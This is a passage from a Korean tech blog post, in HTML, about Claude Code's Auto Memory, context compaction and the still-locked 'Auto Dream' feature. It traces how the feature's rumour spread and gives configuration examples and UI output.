&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;X 확산 시작&lt;/b&gt; &amp;mdash; &lt;a href=&quot;https://x.com/kr0der/status/2036235321780621738&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;@kr0der(Anthony)&lt;/a&gt;가 &quot;just found out Claude Code has a new (unreleased?) feature called 'Auto-dream'&quot;이라고 트윗. &quot;unreleased?&quot;에 물음표를 붙였다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;바이럴 확산&lt;/b&gt; &amp;mdash; &lt;a href=&quot;https://x.com/om_patel5/status/2036513690803945625&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;@om_patel5&lt;/a&gt;가 상세 스레드를 작성하여 38K 뷰를 기록 (2026-03-26 확인 기준). &lt;a href=&quot;https://x.com/JeremyNguyenPhD/status/2036279335221645345&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;@JeremyNguyenPhD&lt;/a&gt;, &lt;a href=&quot;https://x.com/rohanpaul_ai/status/2036421602049663300&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;@rohanpaul_ai&lt;/a&gt;, &lt;a href=&quot;https://x.com/maksym_andr/status/2036351101125959799&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;@maksym_andr&lt;/a&gt; 등이 증폭.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;심층 분석&lt;/b&gt; &amp;mdash; DEV Community에 &lt;a href=&quot;https://dev.to/akari_iku/does-claude-code-need-sleep-inside-the-unreleased-auto-dream-feature-2n7m&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;akari_iku의 소스 분석 기사&lt;/a&gt; 게시(2026-03-24). Threads에서 &lt;a href=&quot;https://www.threads.com/@sakeeb.rahman/post/DWSKjMoESz2&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;@sakeeb.rahman&lt;/a&gt;이 4단계 프로세스와 Sleep-time Compute 논문 연결을 상세 분석.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;&quot;Memory 2.0&quot; 명명&lt;/b&gt; &amp;mdash; YouTube 크리에이터 Nate Herk가 &lt;a href=&quot;https://www.skool.com/ai-automation-society/new-video-claude-code-just-dropped-memory-20&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;AI Automation Society&lt;/a&gt;에 &quot;Claude Code Just Dropped Memory 2.0&quot;이라는 제목으로 영상 게시. &quot;Memory 2.0&quot;은 이 영상에서 만들어진 마케팅 용어다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;한국 전파&lt;/b&gt; &amp;mdash; &quot;unreleased&quot;가 빠지고 &lt;b&gt;&quot;나왔다&quot;&lt;/b&gt;로 바뀌어 확산. 한국 커뮤니티(GeekNews, GPTers)에서는 Auto Memory에 대한 논의는 있으나, Auto Dream 전용 한국어 심층 분석은 2026-03-26 기준 검색에서 찾기 어려웠다.&lt;/li&gt;
&lt;/ol&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;교훈&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;AI 도구 관련 정보는 전파 속도가 빠르고, &quot;unreleased&quot;와 &quot;released&quot;의 차이가 생략되기 쉽다. &lt;b&gt;공식 문서(&lt;a href=&quot;https://docs.anthropic.com/en/docs/claude-code/memory&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;docs.anthropic.com&lt;/a&gt;)와 &lt;a href=&quot;https://code.claude.com/docs/en/changelog&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;체인지로그&lt;/a&gt;&lt;/b&gt;를 직접 확인하는 것이 가장 정확하다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 2 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. Auto Memory &amp;mdash; 지금 사용할 수 있는 기능&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;Memory 2.0&quot;이라고 불리는 것의 대부분은 사실 &lt;b&gt;Auto Memory&lt;/b&gt;다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;v2.1.59(2026-02-26)에서 도입되었고, 현재 정식으로 사용 가능하다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a href=&quot;https://docs.anthropic.com/en/docs/claude-code/memory#auto-memory&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 문서&lt;/a&gt;)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;작동 원리&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Auto Memory는 Claude가 작업하면서 유용한 정보를 &lt;b&gt;스스로 판단해서 디스크에 저장&lt;/b&gt;하는 기능이다. 매 세션마다 저장하는 것은 아니다. &lt;b&gt;미래 대화에서 유용할 것이라고 판단되는 정보만&lt;/b&gt; 선별적으로 저장한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;공식 문서의 표현을 그대로 옮기면:&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p style=&quot;margin: 0; font-style: italic;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;Claude saves notes for itself as it works: build commands, debugging insights, architecture notes, code style preferences, and workflow habits. Claude doesn't save something every session. It decides what's worth remembering based on whether the information would be useful in a future conversation.&quot;&lt;br /&gt;&lt;br /&gt;(Claude는&amp;nbsp;작업을&amp;nbsp;진행하면서&amp;nbsp;스스로&amp;nbsp;참고할&amp;nbsp;메모를&amp;nbsp;남깁니다.&amp;nbsp;예를&amp;nbsp;들면&amp;nbsp;빌드&amp;nbsp;명령어,&amp;nbsp;디버깅&amp;nbsp;과정에서&amp;nbsp;얻은&amp;nbsp;인사이트,&amp;nbsp;아키텍처&amp;nbsp;관련&amp;nbsp;메모,&amp;nbsp;코드&amp;nbsp;스타일&amp;nbsp;선호,&amp;nbsp;작업&amp;nbsp;습관&amp;nbsp;등이&amp;nbsp;여기에&amp;nbsp;포함됩니다.&amp;nbsp;다만&amp;nbsp;모든&amp;nbsp;세션마다&amp;nbsp;항상&amp;nbsp;무언가를&amp;nbsp;저장하는&amp;nbsp;것은&amp;nbsp;아닙니다.&amp;nbsp;나중의&amp;nbsp;대화나&amp;nbsp;작업에서&amp;nbsp;도움이&amp;nbsp;될&amp;nbsp;만한&amp;nbsp;정보인지&amp;nbsp;판단해서,&amp;nbsp;기억해둘&amp;nbsp;가치가&amp;nbsp;있는&amp;nbsp;내용만&amp;nbsp;선택적으로&amp;nbsp;저장합니다.)&lt;/p&gt;
&lt;p style=&quot;margin: 5px 0 0 0; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;mdash; &lt;a href=&quot;https://docs.anthropic.com/en/docs/claude-code/memory#auto-memory&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Anthropic 공식 문서&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;저장 구조와 200줄 제한&lt;/h3&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;text&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;~/.claude/projects/&amp;lt;project&amp;gt;/memory/
├── MEMORY.md              # 핵심 인덱스 (매 세션 시작 시 자동 로딩)
├── debugging.md           # 디버깅 패턴 상세
├── api-conventions.md     # API 설계 결정사항
└── ...                    # Claude가 필요에 따라 생성하는 토픽 파일들&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;200줄 제한에 주의&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;MEMORY.md&lt;/code&gt;의 &lt;b&gt;첫 200줄&lt;/b&gt;만 세션 시작 시 로딩된다. (체인지로그 v2.1.83 기준 25KB 트렁케이션 캡도 적용.) &lt;br /&gt;200줄을 넘는 내용은 무시된다. Claude는 이를 알기 때문에, 상세한 내용은 별도 토픽 파일로 분리하고 MEMORY.md에는 인덱스만 유지한다. 토픽 파일은 필요할 때만 읽는다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;&amp;lt;project&amp;gt;&lt;/code&gt; 경로는 git 리포지토리에서 파생된다. git repo 외부에서는 현재 project root가 기준이 된다. 따라서 같은 머신에서 같은 리포의 모든 워크트리와 하위 디렉토리가 하나의 auto memory 디렉토리를 공유한다. 다만 &lt;b&gt;다른 머신에서 같은 리포를 클론해도 메모리 파일은 공유되지 않는다&lt;/b&gt; &amp;mdash; Auto Memory는 로컬 디스크 전용이다. (출처: &lt;a href=&quot;https://docs.anthropic.com/en/docs/claude-code/memory#storage-location&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 문서 Storage location&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;뭘 기억하고, 뭘 안 기억하는가&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #d4edda;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #28a745; font-weight: 600;&quot;&gt;기억하는 것&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #dc3545; font-weight: 600; background-color: #f8d7da;&quot;&gt;기억하지 않는 것&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;빌드 명령어, 테스트 실행 방법&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;일시적인 대화 컨텍스트&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;디버깅 인사이트, 해결 패턴&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;코드에서 직접 읽을 수 있는 정보 (구조, 함수명 등)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;아키텍처 메모, 설계 결정 이유&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;git 히스토리에서 확인 가능한 정보&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;코드 스타일 선호도&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;CLAUDE.md에 이미 명시된 규칙&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;워크플로우 습관, 사용자 교정 내용&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;매 세션의 사소한 시행착오 내역&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;설정 및 관리&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Auto Memory는 기본적으로 &lt;b&gt;켜져 있다&lt;/b&gt;. 끄는 방법은 3가지다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 방법 1: 세션 내에서 토글
/memory
# &amp;rarr; &quot;Auto-memory: on&quot; 옆의 토글로 끄기

# 방법 2: 환경변수로 비활성화
export CLAUDE_CODE_DISABLE_AUTO_MEMORY=1

# 방법 3: 설정 파일로 비활성화
# ~/.claude/settings.json 또는 .claude/settings.json
{
  &quot;autoMemoryEnabled&quot;: false
}

# 일회성 비활성화 (스크립트/CI에서, v2.1.81+)
# 주의: --bare는 메모리만 끄는 것이 아니라 hooks, LSP, 플러그인,
# CLAUDE.md 자동탐색 등도 모두 비활성화하는 &quot;최소 모드&quot;다.
# 메모리만 끄려면 위의 환경변수 방법을 사용한다.
claude --bare -p &quot;one-shot task&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;메모리 저장 경로를 변경하고 싶으면 &lt;code&gt;autoMemoryDirectory&lt;/code&gt;를 설정한다 (v2.1.74+).&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이 설정은 &lt;b&gt;보안상 정책(managed policy), 사용자, 로컬 설정에서만 허용&lt;/b&gt;되고, 프로젝트 설정(&lt;code&gt;.claude/settings.json&lt;/code&gt;)에서는 사용할 수 없다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;json&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;json&quot;&gt;&lt;code&gt;// ~/.claude/settings.json (사용자 설정)
{
  &quot;autoMemoryDirectory&quot;: &quot;~/Library/Mobile Documents/com~apple~CloudDocs/claude-memory&quot;
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;위 예시처럼 iCloud Drive나 Dropbox 경로를 지정하면 여러 머신에서 파일을 공유할 수 있지만, 이것은 &lt;b&gt;비공식 우회&lt;/b&gt;이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;공식 문서는 &quot;Auto memory is machine-local&quot;이라고 명시하며, 이 방법의 동작을 보장하지 않는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 3 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. Context Compaction: 컨텍스트 압축&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;자동 압축 동작&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Context Compaction은 &quot;Auto Dream&quot;의 나머지 절반이다. 세션 중 컨텍스트 윈도우가 한계에 가까워지면 자동으로 정리한다. 사용자가 직접 개입할 필요 없이 배경에서 동작한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;구체적으로 &lt;b&gt;무엇이 보존되고 무엇이 손실되는지&lt;/b&gt;가 중요하다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #d4edda;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #28a745; font-weight: 600;&quot;&gt;보존되는 것&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #dc3545; font-weight: 600; background-color: #f8d7da;&quot;&gt;손실될 수 있는 것&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;CLAUDE.md 전체 (디스크에서 재로딩)&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;세션 초반의 상세 지시사항&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;사용자의 최근 요청&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;오래된 tool output (파일 읽기 결과 등)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;핵심 코드 스니펫&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;시도했다 실패한 접근들의 상세 내역&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;세션 이름, Plan mode 상태&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;긴 대화에서 초반에 논의한 설계 결정&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;압축 과정은 다음과 같다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;text&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;컨텍스트 윈도우가 한계에 도달
  &amp;darr;
1단계: 오래된 tool output 삭제 (코드 읽기 결과 등)
  &amp;darr;
2단계: 대화 요약 (사용자 요청과 핵심 코드 스니펫은 보존)
  &amp;darr;
3단계: CLAUDE.md를 디스크에서 다시 읽어서 재주입
  &amp;darr;
압축된 컨텍스트로 작업 계속&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;CLAUDE.md는 압축에서 살아남는다&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;이것이 핵심이다. &lt;code&gt;/compact&lt;/code&gt; 후에 Claude는 CLAUDE.md를 디스크에서 다시 읽어서 컨텍스트에 재주입한다. 따라서 프로젝트 규칙과 지침은 압축 후에도 유지된다. 반면 세션 초반의 상세한 지시사항은 손실될 수 있다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;수동 제어&lt;/h3&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 수동으로 컨텍스트 압축
/compact

# 특정 주제에 집중하여 압축 (나머지는 덜 중요하게 처리)
/compact focus on the API changes

# 현재 컨텍스트 사용량 확인
/context&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;CLAUDE.md에 &quot;Compact Instructions&quot; 섹션을 추가하면, 압축 시 어떤 내용을 우선 보존할지 제어할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;CLAUDE.md와의 관계&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;메모리가 나쁜 습관을 강화하면 어떻게 되나?&quot; 좋은 질문이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;답은 &lt;b&gt;CLAUDE.md가 Auto Memory보다 우선한다&lt;/b&gt;는 것이다. CLAUDE.md는 사용자가 직접 작성하는 규칙이고, Auto Memory는 Claude가 스스로 학습한 내용이다. 충돌이 생기면 CLAUDE.md의 명시적 지침이 이긴다. 잘못된 기억이 쌓이고 있다면 &lt;code&gt;/memory&lt;/code&gt;로 확인하고 수정/삭제할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 4 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. Auto Dream &amp;mdash; 코드에는 있지만 아직 잠겨 있다&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;여기서부터가 이 글의 핵심이다. Auto Dream은 &quot;있지만 없는&quot; 기능이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;UI에 보이는 것&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude Code에서 &lt;code&gt;/memory&lt;/code&gt;를 실행하면 다음과 같은 메뉴가 표시된다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;text&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;Memory

# 자동 실행 미활성화 사용자:
    Auto-memory: on
    Auto-dream: off &amp;middot; never

# 자동 실행 활성화 사용자 (점진적 롤아웃 중):
    Auto-memory: on
    Auto-dream: on &amp;middot; never &amp;middot; /dream to run
    # &quot;never&quot;는 아직 한 번도 실행되지 않았다는 의미
    # &quot;/dream to run&quot;이 안내되지만, 실행하면 여전히 &quot;unknown skill&quot;

  &amp;gt; 1. User memory          Saved in ~/.claude/CLAUDE.md
    2. Project memory        Checked in at ./CLAUDE.md
    3. Open auto-memory folder&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1086&quot; data-origin-height=&quot;520&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cB09tk/dJMcacJjoru/z4oEnvG0GneQRwQA6CHnS0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cB09tk/dJMcacJjoru/z4oEnvG0GneQRwQA6CHnS0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cB09tk/dJMcacJjoru/z4oEnvG0GneQRwQA6CHnS0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcB09tk%2FdJMcacJjoru%2Fz4oEnvG0GneQRwQA6CHnS0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1086&quot; height=&quot;520&quot; data-origin-width=&quot;1086&quot; data-origin-height=&quot;520&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Auto Dream이 활성화된 사용자는 &lt;code&gt;Auto-dream: on &amp;middot; never &amp;middot; /dream to run&lt;/code&gt;이 표시된다. UI는 &lt;code&gt;/dream&lt;/code&gt;으로 수동 실행을 안내하지만, 이 명령어는 현재 구현되지 않아 실행하면 &quot;unknown skill&quot;이 반환된다&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;(v2.1.88까지, GitHub &lt;a href=&quot;https://github.com/anthropics/claude-code/issues/39135&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;#39135&lt;/a&gt;, 2026-03-31 확인).&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;자동 실행(background)과 수동 &lt;code&gt;/dream&lt;/code&gt; 명령어는 별개로 구현 중이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a href=&quot;https://dev.to/akari_iku/does-claude-code-need-sleep-inside-the-unreleased-auto-dream-feature-2n7m&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;DEV Community, akari_iku, 2026-03-24&lt;/a&gt;, 소스 코드 분석 기반)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;br /&gt;ex) 나의 경우도 아직까지 킨적이 없으니, 지금 한번 켜보도록 하겠다. 다만 이후에 적용되기까지엔 조건이 있다고 한다.&lt;/p&gt;
